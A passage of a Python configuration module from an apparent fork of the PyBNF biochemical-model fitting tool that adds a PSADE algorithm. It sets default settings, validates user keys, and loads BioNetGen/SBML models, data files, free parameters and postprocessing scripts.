'/BNG2.pl'\r\n        except KeyError:\r\n            bng_command = ''\r\n\r\n        default = {\r\n            'objfunc': 'chi_sq', 'output_dir': 'pybnf_output', 'delete_old_files': 1, 'num_to_output': 5000,\r\n            'output_every': 20, 'initialization': 'lh', 'refine': 0, 'bng_command': bng_command, 'smoothing': 1,\r\n            'backup_every': 1, 'time_course': (), 'param_scan': (), 'min_objective': -np.inf, 'bootstrap': 0,\r\n            'bootstrap_max_obj': None, 'ind_var_rounding': 0, 'local_objective_eval': 0, 'constraint_scale': 1.0,\r\n            'sbml_integrator': 'cvode', 'parallel_count': None, 'save_best_data': 0, 'simulation_dir': None,\r\n            'parallelize_models': 1,\r\n\r\n            #setting default values for PSADE\r\n            'temperature_minimum': 10**(-10), 'radius_minimum': 10**(-6), 'population_size': 20, 'tau1': 0.01, 'tau2': 0.1,\r\n            'number_of_processors': 1,\r\n\r\n            'mutation_rate': 0.5, 'mutation_factor': 0.5, 'islands': 1, 'migrate_every': 20, 'num_to_migrate': 3,\r\n            'stop_tolerance': 0.002, 'de_strategy': 'rand1',\r\n\r\n            'particle_weight': 0.7, 'adaptive_n_max': 30, 'adaptive_n_stop': np.inf, 'adaptive_abs_tol': 0.0,\r\n            'adaptive_rel_tol': 0.0, 'cognitive': 1.5, 'social': 1.5, 'v_stop': 0.,\r\n\r\n            'local_min_limit': 5,\r\n\r\n            'step_size': 0.2, 'burn_in': 10000, 'sample_every': 100, 'output_hist_every': 100, 'hist_bins': 10,\r\n            'credible_intervals': [68., 95.], 'beta': [1.0], 'exchange_every': 20, 'beta_max': np.inf, 'cooling': 0.01,\r\n\r\n            'simplex_step': 1.0, 'simplex_reflection': 1.0, 'simplex_expansion':1.0, 'simplex_contraction': 0.5,\r\n            'simplex_shrink': 0.5, 'simplex_stop_tol': 0.,\r\n\r\n            'wall_time_gen': 3600,\r\n            'wall_time_sim': None,  # Chosen when loading models\r\n            'normalization': None,\r\n\r\n            'cluster_type': None,\r\n            'scheduler_node': None,\r\n            'scheduler_file': None,\r\n            'worker_nodes': None,\r\n\r\n            'gamma_prob': 0.1,\r\n            'zeta': 1e-6,\r\n            'lambda': 0.1,\r\n            'crossover_number': 3\r\n        }\r\n        return default\r\n\r\n    @staticmethod\r\n    def check_unused_keys(conf_dict):\r\n        \"\"\"\r\n        Gives warnings if the user has specified parameters that will be ignored by the chosen algorithm.\r\n        :param conf_dict: The config dictionary\r\n        :return:\r\n        \"\"\"\r\n        alg_specific = {'ade': {'mutation_rate', 'mutation_factor', 'stop_tolerance', 'de_strategy'},\r\n                        'de': {'islands', 'migrate_every', 'num_to_migrate'},\r\n                        'pso': {'cognitive', 'social', 'particle_weight', 'particle_weight_final', 'adaptive_n_max',\r\n                                'adaptive_n_stop', 'adaptive_abs_tol', 'adaptive_rel_tol', 'v_stop'},\r\n                        'ss': {'init_size', 'local_min_limit', 'reserve_size'},\r\n                        'mh': {'step_size', 'burn_in', 'sample_every', 'output_hist_every', 'hist_bins',\r\n                                'credible_intervals', 'beta', 'beta_range', 'exchange_every', 'beta_max', 'cooling',\r\n                                'crossover_number', 'zeta', 'lambda', 'gamma_prob'},\r\n                        'sim': {'simplex_step', 'simplex_log_step', 'simplex_reflection', 'simplex_expansion',\r\n                                'simplex_contraction', 'simplex_shrink', 'simplex_max_iterations',\r\n                                'simplex_stop_tol'},\r\n                        #adding new alogrithm \"PSADE\"\r\n                        'psade': {'number_of_processors', 'temperature_minimum', 'radius_minimum', 'population_size', 'tau1', 'tau2'}\r\n                        }\r\n        ignored_params = set()\r\n        thisalg = conf_dict['fit_type']\r\n        if thisalg in ('pt', 'sa', 'dream'):\r\n            thisalg = 'mh'\r\n        for alg in alg_specific:\r\n            if (thisalg != alg\r\n               and not(alg == 'sim' and 'refine' in conf_dict and conf_dict['refine'] == 1)\r\n               and not (thisalg == 'de' and alg == 'ade')):\r\n                ignored_params = ignored_params.union(alg_specific[alg])\r\n        for k in ignored_params.intersection(set(conf_dict.keys())):\r\n            print1('Warning: Configuration key %s is not used in fit_type %s, so I am ignoring it'\r\n                            % (k, conf_dict['fit_type']))\r\n            logger.warning('Ignoring unused key %s for fitting algorithm %s' % (k, conf_dict['fit_type']))\r\n\r\n    @staticmethod\r\n    def check_unused_keys_model_checking(conf_dict):\r\n        \"\"\"\r\n        Gives warnings if the user has specified parameters that will be ignored by model checking. Uses different\r\n        logic than the rest of the algorithms because so few keys are used for model checking\r\n        :param conf_dict: The config dictionary\r\n        :return: A modified config dictionary, after removing any extraneous keys that would crash PyBNF\r\n        \"\"\"\r\n        used = {'model', 'output_dir', 'simulation_dir', 'fit_type', 'objfunc', 'normalization', 'postprocessing',\r\n                'verbosity', 'wall_time_sim', 'bng_command', 'sbml_integrator', 'time_course', 'param_scan', 'mutant',\r\n                'models', 'exp_data'}\r\n        would_crash = {'refine', 'bootstrap'}\r\n\r\n        for k in conf_dict:\r\n            if k not in used and not re.search('\\.(bngl|xml)', k):\r\n                print1('Warning: Configuration key '+str(k)+' is not used in fit_type \"check\", so I am ignoring it')\r\n                logger.warning('Ignoring unused key %s for fitting algorithm \"check\"' % k)\r\n        for k in would_crash:\r\n            if k in conf_dict:\r\n                del conf_dict[k]\r\n        return conf_dict\r\n\r\n    @staticmethod\r\n    def postprocess_mcmc_keys(conf_dict):\r\n        \"\"\"\r\n        Algorithms 'mh', 'pt', 'dream', and 'sa' have similar but non-identical valid config keys. This helper method\r\n        does post-processing of config keys for these 3 algorithms\r\n\r\n        :param conf_dict:\r\n        :return:\r\n        \"\"\"\r\n        # Check keys that only work for a subset of the 4 algorithms\r\n        if conf_dict['fit_type'] != 'pt':\r\n            for k in ['exchange_every', 'reps_per_beta']:\r\n                if k in conf_dict:\r\n                    print1('Warning: Configuration key %s is not used in fit_type %s, so I am ignoring it'\r\n                           % (k, conf_dict['fit_type']))\r\n            conf_dict['exchange_every'] = np.inf\r\n            conf_dict['reps_per_beta'] = 1\r\n        elif 'reps_per_beta' not in conf_dict:\r\n            conf_dict['reps_per_beta'] = 1  # Default value if using pt but didn't specify\r\n        if conf_dict['fit_type'] != 'sa':\r\n            for k in ['cooling', 'beta_max']:\r\n                if k in conf_dict:\r\n                    print1('Warning: Configuration key %s is not used in fit_type %s, so I am ignoring it'\r\n                           % (k, conf_dict['fit_type']))\r\n        if conf_dict['fit_type'] == 'sa':\r\n            for k in ['burn_in', 'sample_every', 'output_hist_every', 'hist_bins', 'credible_intervals']:\r\n                if k in conf_dict:\r\n                    print1('Warning: Configuration key %s is not used in fit_type %s, so I am ignoring it'\r\n                           % (k, conf_dict['fit_type']))\r\n        if conf_dict['fit_type'] in ['mh', 'sa', 'pt']:\r\n            for k in ['crossover_numer', 'zeta', 'lambda', 'gamma_prob']:\r\n                if k in conf_dict:\r\n                    print1('Warning: Configuration key %s is not used in fit_type %s, so I am ignoring it'\r\n                           % (k, conf_dict['fit_type']))\r\n\r\n        # Create the starting list of betas based on the various available options. Warn if tried to do something weird\r\n        if 'beta' not in conf_dict and 'beta_range' not in conf_dict:\r\n            conf_dict['beta'] = [1.]\r\n\r\n        # Handle the Parallel Tempering case where reps_per_beta is specified.\r\n        # First, check it's divisible by the population size\r\n        if conf_dict['population_size'] % conf_dict['reps_per_beta'] != 0:\r\n            conf_dict['population_size'] -= conf_dict['population_size'] % conf_dict['reps_per_beta']\r\n            print1('Warning: Lowered your population_size to %i so that it is divisible by your setting for '\r\n                   'reps_per_beta' % conf_dict['population_size'])\r\n        # Then, we want the beta_list generated below to contain only one copy of the spread of betas to use\r\n        # At the end, we make reps_per_beta copies of that list to arrive at the final beta list.\r\n        subpop_size = conf_dict['population_size'] // conf_dict['reps_per_beta']\r\n\r\n        if 'beta_range' in conf_dict:\r\n            if len(conf_dict['beta_range']) != 2:\r\n                raise PybnfError(\"Wrong number of entries in beta_range\",\r\n                                 \"Config key 'beta_range' must have exactly 2 numbers: the min and the max.\")\r\n            if 'beta' in conf_dict:\r\n                print1(\"Warning: Ignoring config key 'beta' because it is overridden by config key 'beta_range'\")\r\n            if conf_dict['fit_type'] != 'pt':\r\n                print1(\"Warning: You used 'beta_range' with the method %s. This is an odd thing to do. Usually, you \"\r\n                       \"would want all your replicates starting at the same beta value.\" % conf_dict['fit_type'])\r\n            betalist = list(np.geomspace(conf_dict['beta_range'][0], conf_dict['beta_range'][1], subpop_size))\r\n        elif len(conf_dict['beta']) > 1:\r\n            betalist = conf_dict['beta']\r\n            if conf_dict['fit_type'] != 'pt':\r\n                print1(\"Warning: You specified multiple beta values with the method %s. This is an odd thing to do. \"\r\n                       \"Usually, you would specify one beta value to use with all your replicates. \" % conf_dict['fit_type'])\r\n            if len(betalist) != subpop_size:\r\n                print1(\"Warning: You specified %i beta values, so I will run %i replicates instead of using your \"\r\n                       \"population_size setting\" % (len(betalist), len(betalist)*conf_dict['reps_per_beta']))\r\n                conf_dict['population_size'] = len(betalist)*conf_dict['reps_per_beta']\r\n        else:\r\n            betalist = conf_dict['beta'] * subpop_size  # n copies of the single beta value\r\n            if conf_dict['fit_type'] == 'pt':\r\n                print1(\"Warning: You specified a single beta value with the method pt. This makes the algorithm's \"\r\n                       \"replica exchanges accomplish nothing. To make good use of this algorithm, set the key \"\r\n                       \"'beta_range' or specify multiple values with the 'beta' key.\")\r\n        betalist.sort()\r\n        betalist = betalist * conf_dict['reps_per_beta']\r\n        conf_dict['beta_list'] = betalist\r\n\r\n        if conf_dict['fit_type'] == 'pt' and betalist[-1] != 1:\r\n            print1('Warning: You are about to calculate a distribution with beta=%i instead of 1. That means your '\r\n                   'calculated distribution will be %s than the true probability distribution' %\r\n                   (betalist[-1], 'narrower' if betalist[-1] > 1 else 'broader'))\r\n\r\n    @staticmethod\r\n    def _req_user_params():\r\n        \"\"\"Configuration keys that the user must specify\"\"\"\r\n        return {'models', 'population_size', 'max_iterations'}\r\n\r\n    @staticmethod\r\n    def _absolute(directory):\r\n        \"\"\"\r\n        Convert relative paths to absolute paths\r\n        \"\"\"\r\n        home_dir = os.getcwd()\r\n        if os.name == 'nt':  # Windows\r\n            if directory == '':\r\n                return ''\r\n            # Check for both unix-like and windows-like paths starting from root\r\n            if directory[0] == '/' or re.match(r'[A-Z]:', directory):\r\n                return directory\r\n            else:\r\n                return os.path.join(home_dir, directory)\r\n        return '' if directory == '' else directory if directory[0] == '/' else home_dir + '/' + directory\r\n\r\n    def _load_models(self):\r\n        \"\"\"\r\n        Loads models specified in configuration file in a dictionary keyed on\r\n        Model.name\r\n        \"\"\"\r\n\r\n        # If needed, choose the default timeout, which depends on what simulators the models use.\r\n        if self.config['wall_time_sim'] is None:\r\n            self.config['wall_time_sim'] = 0\r\n            for mf in self.config['models']:\r\n                if re.search('\\.bngl$', mf):\r\n                    self.config['wall_time_sim'] = 3600\r\n                    break\r\n\r\n        md = {}\r\n        for mf in self.config['models']:\r\n            # Initialize model type based on extension\r\n            try:\r\n                if re.search('\\.bngl$', mf):\r\n                    model = BNGLModel(mf, suppress_free_param_error=self.config['fit_type']=='check')\r\n                    model.bng_command = self._absolute(self.config['bng_command'])\r\n                    logger.debug('Set model %s command to %s' % (mf, model.bng_command))\r\n                elif re.search('\\.xml$', mf):\r\n                    save_flag = (self.config['delete_old_files'] == 0)\r\n                    if self.config['wall_time_sim'] == 0:\r\n                        model = SbmlModelNoTimeout(mf, self._absolute(mf), save_files=save_flag, integrator=self.config['sbml_integrator'])\r\n                    else:\r\n                        model = SbmlModel(mf, self._absolute(mf), save_files=save_flag, integrator=self.config['sbml_integrator'])\r\n                else:\r\n                    # Should not get here - should be caught in parsing\r\n                    raise ValueError('Unrecognized model suffix in %s' % mf)\r\n            except FileNotFoundError:\r\n                raise PybnfError('Model file %s was not found.' % mf)\r\n            except ModelError as e:\r\n                raise PybnfError('In model file %s: %s' % (mf, e.message))\r\n            if model.name in md:\r\n                raise PybnfError('Multiple models with the name \"%s\". Please give all your models different names. '\r\n                                 % model.name)\r\n            md[model.name] = model\r\n            self._data_map[model.name] = self.config[mf]  # List of exp files associated with this model\r\n\r\n        if self.config['smoothing'] > 1:\r\n            # Check for misuse of 'smoothing' feature\r\n            stochastic = np.any([m.stochastic for m in md.values()])\r\n            if not stochastic:\r\n                print1('Warning: You specified smoothing=%i, but it looks like none of your models use a stochastic '\r\n                       'method. All of your smoothing replicates will come out identical.' % self.config['smoothing'])\r\n            if np.any([m.seeded for m in md.values() if isinstance(m, BNGLModel)]):\r\n                raise PybnfError('You specified smoothing=%i, but one of your simulation commands contains the \"seed\" '\r\n                                 'argument. This would cause all of your smoothing replicates to come out the same.'\r\n                                 % self.config['smoothing'])\r\n        if self.config['smoothing'] > 1 and self.config['parallelize_models'] > 1:\r\n            raise PybnfError('Simultaneous use of \"smoothing\" and \"parallelize_models\" is not supported')\r\n        if self.config['parallelize_models'] > len(md):\r\n            raise PybnfError('Job contains %i models, so \"parallelize_models\" should be at most %i' % (len(md), len(md)))\r\n\r\n        return md\r\n\r\n    def _load_mutants(self):\r\n\r\n        if 'mutant' not in self.config:\r\n            return\r\n\r\n        for base, name, mutations, exps in self.config['mutant']:\r\n            base = self._file_prefix(base, '(bngl|xml)')\r\n            if base not in self.models:\r\n                raise PybnfError('Mutant %s declared corresponding to model %s, but that model was not found' %\r\n                                 (name, base))\r\n            mut_objects = [Mutation(var, op, float(val)) for var, op, val in mutations]\r\n            mut_set = MutationSet(mut_objects, name)\r\n            self.models[base].add_mutant(mut_set)\r\n            # Check that the exp files will have simulation outputs\r\n            for ex in exps:\r\n                ename = self._file_prefix(ex, '(exp|con|prop)')\r\n                base_suffix = re.match('.*(?=%s)' % name, ename)\r\n                suffix_choices = [x[1] for x in self.models[base].suffixes]\r\n                if len(suffix_choices) == 0:\r\n                    raise PybnfError(\"Model %s has no action suffixes, so I can't have mutant model %s with \"\r\n                                     \"data file %s based on that model\" % (base, name, ex))\r\n                if not base_suffix or base_suffix.group(0) not in suffix_choices:\r\n                    raise PybnfError('Experimental file name %s in mutant model %s. This file name should consist of '\r\n                                     'the model suffix it corresponds to, followed by the mutant name (e.g. %s%s.exp)'\r\n                                     % (ex, name, suffix_choices[0], name))\r\n            # Stages these exp files to get loaded along with regular model ones\r\n            self._data_map[base] += exps\r\n\r\n    def _load_simulators(self):\r\n\r\n        model_types = set([type(m) for m in self.models.values()])\r\n\r\n        # For each model type that exists in the run, check that the simulator is available, and pass the simulator\r\n        # path to the appropriate Model subclass\r\n        if BNGLModel in model_types:\r\n            if self.config['bng_command'] == '':\r\n                raise PybnfError('The location of the BioNetGen simulator (BNG2.pl) is not specified. Please set the '\r\n                                 '\"bng_command\" configuration key to the location of the file BNG2.pl, or set the '\r\n                                 'BNGPATH environmental variable to the folder containing BNG2.pl.\\n'\r\n                                 'If BioNetGen is not yet installed, please refer to installation instructions at '\r\n                                 'https://pybnf.readthedocs.io/en/latest/installation.html#bionetgen')\r\n            elif re.search(r'BNG2.pl', self.config['bng_command']) is None:\r\n                raise PybnfError('The specified \"bng_command\" parameter in the configuration file must include the script '\r\n                                 'name at the end of the path (e.g. /path/to/BNG2.pl)')\r\n            else:  # check to make sure BNG2.pl is available\r\n                try:\r\n                    logger.info('Checking to make sure bng_command is appropriately set')\r\n                    cmd = [self.config['bng_command'], '-v']\r\n                    if os.name == 'nt':  # Windows\r\n                        cmd = ['perl'] + cmd\r\n                    subprocess.run(cmd, check=True, stdout=subprocess.DEVNULL, stderr=subprocess.STDOUT)\r\n                except subprocess.CalledProcessError:\r\n                    #  Occurs on Windows if BNG2.pl is nonexistent, or on Mac/Linux if BNG2.pl exists but crashed\r\n                    raise PybnfError('BioNetGen failed to execute. Please check that \"bng_command\" parameter in the '\r\n                                     'configuration file points to the BNG2.pl script, or that the BNGPATH environmental '\r\n                                     'variable is set to the folder containing BNG2.pl.\\n'\r\n                                     'For help, refer to '\r\n                                     'https://pybnf.readthedocs.io/en/latest/installation.html#bionetgen')\r\n                except FileNotFoundError:\r\n                    #  Occurs on Mac/Linux if BNG2.pl is nonexistent.\r\n                    raise PybnfError('The BioNetGen simulator (BNG2.pl) was not found at the specified location. Please set the '\r\n                                     '\"bng_command\" configuration key to the location of the file BNG2.pl, or set the '\r\n                                     'BNGPATH environmental variable to the folder containing BNG2.pl.\\n'\r\n                                     'If BioNetGen is not yet installed, please refer to installation instructions at '\r\n                                     'https://pybnf.readthedocs.io/en/latest/installation.html#bionetgen')\r\n        # Check that the integrator is valid\r\n        integrators = ('cvode', 'euler', 'rk4', 'gillespie')\r\n        if self.config['sbml_integrator'] not in integrators:\r\n            raise PybnfError('Invalid sbml_integrator %s. Options are: %s.' % (self.config['sbml_integrator'],\r\n                                                                               ', '.join(integrators)))\r\n        if self.config['sbml_integrator'] == 'euler':\r\n            if roadrunner.__version__ < '1.5.1':\r\n                raise PybnfError('Config option \"sbml_integrator = euler\" requires Roadrunner version 1.5.1 or higher. You '\r\n                                 'have version %s' % roadrunner.__version__)\r\n            print1('Warning: \"sbml_integrator = euler\" can be numerically unstable. Confirm that your model is '\r\n                   'producing reasonable output.')\r\n\r\n    def _load_actions(self):\r\n\r\n        for (key, ActionType) in (('time_course', TimeCourse), ('param_scan', ParamScan)):\r\n            # Iterate through all time courses and param scans included in the config dict, create the corresponding\r\n            # Action objects, and add them to the appropriate model(s).\r\n            for action_dict in self.config[key]:\r\n                if 'subdivisions' in action_dict and self.config['sbml_integrator'] != 'euler':\r\n                    print1('Warning: Ignoring \"subdivisions\" setting because that is only used with sbml_integrator = '\r\n                           'euler')\r\n                if 'model' in action_dict:\r\n                    action = ActionType(action_dict)\r\n                    try:\r\n                        # Model lookup - should work if model name included the extension or not.\r\n                        model_key = self._file_prefix(action_dict['model'], '(bngl|xml)')\r\n                        self.models[model_key].add_action(action)\r\n                    except KeyError:\r\n                        raise PybnfError('%s declared for model %s, but that model was not found.' %\r\n                                         (key, action_dict['model']))\r\n                else:\r\n                    # Apply to all models (hopefully just 1)\r\n                    if len(self.models) > 1:\r\n                        print1('Warning: Applying the same %s action to all models in this fitting run.' % key)\r\n                    for m in self.models:\r\n                        self.models[m].add_action(ActionType(action_dict))\r\n\r\n    @staticmethod\r\n    def _file_prefix(ef, ext=\"exp\"):\r\n        return re.sub(\"\\.\"+ext, \"\", re.split('/', ef)[-1])\r\n\r\n    def _load_exp_data(self):\r\n        \"\"\"\r\n        Loads experimental data files in a nested dictionary keyed on model name, then data prefix\r\n        Also loads constraint files (which at this point are stored in the same structures as the exp files) and stores\r\n        them in a set.\r\n        \"\"\"\r\n        ed = {}\r\n        csets = set()\r\n        for m in self._data_map:\r\n            ed[m] = {}\r\n            for ef in self._data_map[m]:\r\n                if re.search(\"exp$\", ef):\r\n                    try:\r\n                        d = Data(file_name=ef)\r\n                    except FileNotFoundError:\r\n                        raise PybnfError('Experimental data file %s was not found.' % ef)\r\n                    ed[m][self._file_prefix(ef)] = d\r\n                else:\r\n                    cs = ConstraintSet(self._file_prefix(m, '(bngl|xml)'), self._file_prefix(ef, '(con|prop)'))\r\n                    try:\r\n                        cs.load_constraint_file(ef, scale=self.config['constraint_scale'])\r\n                    except FileNotFoundError:\r\n                        raise PybnfError('Constraint file %s was not found' % ef)\r\n                    csets.add(cs)\r\n        return ed, csets\r\n\r\n    def _check_actions(self):\r\n        mapping = dict()\r\n        for model in self.models.values():\r\n            suffs = set(model.get_suffixes())\r\n            efs_per_m = {self._file_prefix(ef) for ef in self.config[model.file_path] if re.search(\"\\.exp$\", ef)}\r\n            if not efs_per_m <= suffs:\r\n                for ef in efs_per_m:\r\n                    if ef not in suffs:\r\n                        raise UnmatchedExperimentalDataError(\"Action not specified for '%s.exp'\" % ef,\r\n                              \"You specified that model %s corresponds to data file %s.exp, but I can't find the \"\r\n                              \"corresponding action in the model file or config file. One of the actions in %s.bngl \"\r\n                              \"needs to include the argument 'suffix=>\\\"%s\\\" ', or your config file needs to include \"\r\n                              \"an action with the suffix %s.\" % (model.name, ef, model.name, ef, ef))\r\n            logger.debug('Model %s was mapped to %s' % (model.name, efs_per_m))\r\n            mapping[model.name] = efs_per_m\r\n        return mapping\r\n\r\n    def _load_obj_func(self):\r\n        if self.config['objfunc'] == 'chi_sq':\r\n            return ChiSquareObjective(self.config['ind_var_rounding'])\r\n        elif self.config['objfunc'] == 'sos':\r\n            return SumOfSquaresObjective(self.config['ind_var_rounding'])\r\n        elif self.config['objfunc'] == 'norm_sos':\r\n            return NormSumOfSquaresObjective(self.config['ind_var_rounding'])\r\n        elif self.config['objfunc'] == 'ave_norm_sos':\r\n            return AveNormSumOfSquaresObjective(self.config['ind_var_rounding'])\r\n        elif self.config['objfunc'] == 'sod':\r\n            return SumOfDiffsObjective(self.config['ind_var_rounding'])\r\n        raise UnknownObjectiveFunctionError(\"Objective function %s not defined\" % self.config['objfunc'],\r\n              \"Objective function %s is not defined. Valid objective function choices are: \"\r\n              \"chi_sq, sos, sod, norm_sos, ave_norm_sos\" % self.config['objfunc'])\r\n\r\n    def _load_variables(self):\r\n        \"\"\"\r\n        Loads the variable names from the config dict into FreeParameter instances.\r\n\r\n        :return: a list of FreeParameter instances\r\n        \"\"\"\r\n        variables = []\r\n        for k in self.config.keys():\r\n            if isinstance(k, tuple):\r\n                if re.search('var$', k[0]):\r\n                    if self.config['fit_type'] == 'sim' and k[0] not in ('var', 'logvar'):\r\n                        raise PybnfError('Invalid Simplex variable type %s' % k[0],\r\n                               \"You've specified the Simplex algorithm (fit_type = sim), \"\r\n                               \"but defined variable %s with the %s keyword.\\n\"\r\n                               \"For Simplex, you must instead define a single initial value for each variable\\n\"\r\n                               \"using the var or logvar keyword (e.g. var=%s 42 )\" % (k[1], k[0], k[1]))\r\n\r\n                    if self.config['fit_type'] != 'sim' and k[0] in ('var', 'logvar'):\r\n                        raise PybnfError('Tried to use Simplex variable type %s in another algorithm.' % k[0],\r\n                               \"You've specified variable %s with keyword %s, but that keyword \"\r\n                               \"is only to be used with the Simplex algorithm (fit_type = sim)\\n\"\r\n                               \"Valid keywords for other algorithms are: uniform_var, normal_var, \\n\"\r\n                               \"lognormal_var, loguniform_var.\" % (k[1], k[0]))\r\n\r\n                    if k[0] in ('var', 'logvar'):\r\n                        # 2nd number (step size) may be absent, must fill in appropriately\r\n                        if len(self.config[k]) >= 2:\r\n                            stepsize = self.config[k][1] # easy, it was right there\r\n                        else:\r\n                            stepsize = None  # Will sort out within SimplexAlgorithm\r\n                        free_param = FreeParameter(k[1], k[0], self.config[k][0], stepsize)\r\n                    else:\r\n                        if len(self.config[k]) == 3:\r\n                            free_param = FreeParameter(k[1], k[0], self.config[k][0], self.config[k][1],\r\n                                                           bounded=self.config[k][2])\r\n                        else:\r\n                            free_param = FreeParameter(k[1], k[0], self.config[k][0], self.config[k][1])\r\n\r\n                    logger.debug('Adding parameter %s with bounds [%s, %s]' %\r\n                                 (free_param.name, free_param.lower_bound, free_param.upper_bound))\r\n                    variables.append(free_param)\r\n        logger.info('Loaded variables')\r\n        return variables\r\n\r\n    def _check_variable_correspondence(self):\r\n        \"\"\"\r\n        Verifies that each variable specified in the configuration appears in at least one model file, and each\r\n        FREE parameter specified in a model file appears in the config file\r\n        :return:\r\n        \"\"\"\r\n        model_vars = set()\r\n        for m in self.models.values():\r\n            model_vars.update(m.param_names)\r\n\r\n        variables_names = {v.name for v in self.variables}\r\n        extra_in_conf = variables_names.difference(model_vars)\r\n        extra_in_model = set(model_vars).difference(variables_names)\r\n        extra_in_model = {p for p in extra_in_model if p[-8:] == '__FREE'}\r\n\r\n        if len(extra_in_conf) > 0:\r\n            raise PybnfError('The following variables are declared in the .conf file, but were not found in any model '\r\n                             'file: %s' % extra_in_conf)\r\n        if len(extra_in_model) > 0:\r\n            raise PybnfError('The following free parameters are in your model files, but are not declared in your '\r\n                             '.conf file: %s' % extra_in_model)\r\n\r\n    def _postprocess_normalization(self):\r\n        \"\"\"\r\n        Postprocessing on the 'normalization' key\r\n        :return:\r\n        \"\"\"\r\n        seedoc = \"\\nSee the documentation for the syntax options for the 'normalization' key\"\r\n        valid = ('init', 'peak', 'zero', 'unit')\r\n        if type(self.config['normalization']) == dict:\r\n            # Iterate through the keys, which should be .exp file names. Check that these are actual exp files that\r\n            # are used in the fitting, then add to the dictionary just the suffix, for easier lookup later\r\n            newdict = dict()\r\n            for ef in self.config['normalization']:\r\n                if ef not in self.config['exp_data']:\r\n                    raise PybnfError(\"Invalid exp file %s under the normalization key\" % ef,\r\n                                     \"The exp file %s given under the 'normalization' keyword is not associated with \"\r\n                                     \"any model.\" % ef + seedoc)\r\n                val = self.config['normalization'][ef]\r\n\r\n                # Figure out how to get to the right data object (it's in a dict keyed on model name, then suffix)\r\n                m = None\r\n                for modelpath in self.config['models']:\r\n                    if ef in self.config[modelpath]:\r\n                        m = self._file_prefix(modelpath, '(bngl|xml)')\r\n                        break\r\n                suff = self._file_prefix(ef)\r\n\r\n                def checkval(v):\r\n                    if v not in valid:\r\n                        raise PybnfError(\"Invalid normalization type '%s'\" % self.config['normalization'][ef],\r\n                                         \"Invalid normalization type '%s'. Options are: init, peak, zero, unit\" %\r\n                                         self.config['normalization'][ef] + seedoc)\r\n                if type(val) == str:\r\n                    # This exp file has a single normalization type for all columns\r\n                    checkval(val)\r\n                else:\r\n                    # This exp file has a list of one or more pairs specifying (normalization_type, [columns])\r\n                    for (i, (ntype, cols)) in enumerate(val):\r\n                        checkval(ntype)\r\n                        new_cols = []\r\n                        if type(cols[0]) == int:\r\n                            # Need to convert to string labels, because the indices into the sim data will be different\r\n                            to_convert = cols\r\n                            for label in self.exp_data[m][suff].cols:\r\n                                ci = self.exp_data[m][suff].cols[label]\r\n                                if ci in to_convert:\r\n                                    to_convert.remove(ci)\r\n                                    new_cols.append(label)\r\n                            if len(to_convert) > 0:\r\n                                raise PybnfError(\"Invalid normalization column %s for file %s\" % (to_convert[0], ef),\r\n                                                 \"Specified normalization for column %i in file %s, but that file \"\r\n                                                 \"contains only %i columns.\" % (\r\n                                                 to_convert[0], ef, self.exp_data[m][suff].data.shape[1]) + seedoc)\r\n                        else:\r\n                            new_cols = cols\r\n                        new_cols_iter = new_cols\r\n                        for c in new_cols_iter:\r\n                            if c not in self.exp_data[m][suff].cols:\r\n                                raise PybnfError(\"Invalid normalization column %s for file %s\" % (c, ef),\r\n                                                 \"Specified normalization for column %s in file %s, but that file does \"\r\n                                                 \"not contain that column name.\" % (c, ef) + seedoc)\r\n                            if c[-3:] == '_SD':\r\n                                logger.info('Removing %s from the normalization list' % c)\r\n                                print1(\"Warning: You specified a normalization for %s, but I can't normalize a \"\r\n                                       \"standard deviation separately, because it's not an output of the simulation. \"\r\n                                       \"I'm ignoring your %s setting and assuming it's on the same scale as its data \"\r\n                                       \"column.\" % (c, c))\r\n                                new_cols.remove(c)\r\n                        # Update with the postprocessed normalization info\r\n                        val[i] = (ntype, new_cols)\r\n\r\n                newdict[suff] = val\r\n            self.config['normalization'].update(newdict)\r\n        elif type(self.config['normalization']) == str:\r\n            if self.config['normalization'] not in valid:\r\n                raise PybnfError(\"Invalid normalization type '%s'\" % self.config['normalization'],\r\n                                 \"Invalid normalization type '%s'. Options are: init, peak, zero, unit\" %\r\n                                 self.config['normalization'] + seedoc)\r\n\r\n    def _load_postprocessing(self):\r\n        \"\"\"\r\n        Loads config info for user-specified Python scripts for postprocessing data\r\n        :return:\r\n        \"\"\"\r\n        self.postprocessing = dict()\r\n        if 'postprocess' not in self.config:\r\n            return\r\n\r\n        for spec in self.config['postprocess']:\r\n            script = self._absolute(spec[0])\r\n            suffixes = spec[1:]\r\n\r\n            # Check for simple errors in the script here, before we start running anything.\r\n            try:\r\n                # This incantation loads the module as postproc\r\n                import importlib.util\r\n                logger.info('Prepare to load the script %s' % script)\r\n                spec = importlib.util.spec_from_file_location(\"postprocessor\", script)\r\n                if not spec:\r\n                    raise PybnfError('Could not load the postprocessing script %s. Make sure this is a Python '\r\n                                     'file (.py)' % script)\r\n                postproc = importlib.util.module_from_spec(spec)\r\n                spec.loader.exec_module(postproc)\r\n                # Now postproc is the user-defined Python module\r\n            except OSError:\r\n                raise PybnfError('Could not load the postprocessing script %s' % script)\r\n            try:\r\n                func = postproc.postprocess\r\n            except NameError:\r\n                raise PybnfError('The postprocessing script %s should contain a definition of the function '\r\n                                 'postprocess(data). This function was not found.' % script)\r\n\r\n            for suff in suffixes:\r\n\r\n                # Need to backsolve the model name based on the suffix.\r\n                model_choices = []\r\n                for modelname in self.models:\r\n                    if suff in self.models[modelname].get_suffixes():\r\n                        model_choices.append(modelname)\r\n                if len(model_choices) == 0:\r\n                    raise PybnfError('Suffix %s was specified for a postprocessing script, but that suffix was not '\r\n                                     'found in any model' % suff)\r\n                if len(model_choices) > 1:\r\n                    raise PybnfError('Suffix %s was specified for a postprocessing script, but was found in multiple '\r\n                                     'models. Please rename suffixes to avoid this ambiguity.' % suff)\r\n                self.postprocessing[(model_choices[0], suff)] = script\r\n\r\n\r\nclass UnknownObjectiveFunctionError(PybnfError):\r\n    pass\r\n\r\n\r\nclass UnspecifiedConfigurationKeyError(PybnfError):\r\n    pass\r\n\r\n\r\nclass UnmatchedExperimentalDataError(PybnfError):\r\n    pass\r\n","repo_name":"dakirby/qBio2019_PSADE","sub_path":"config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":43529,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
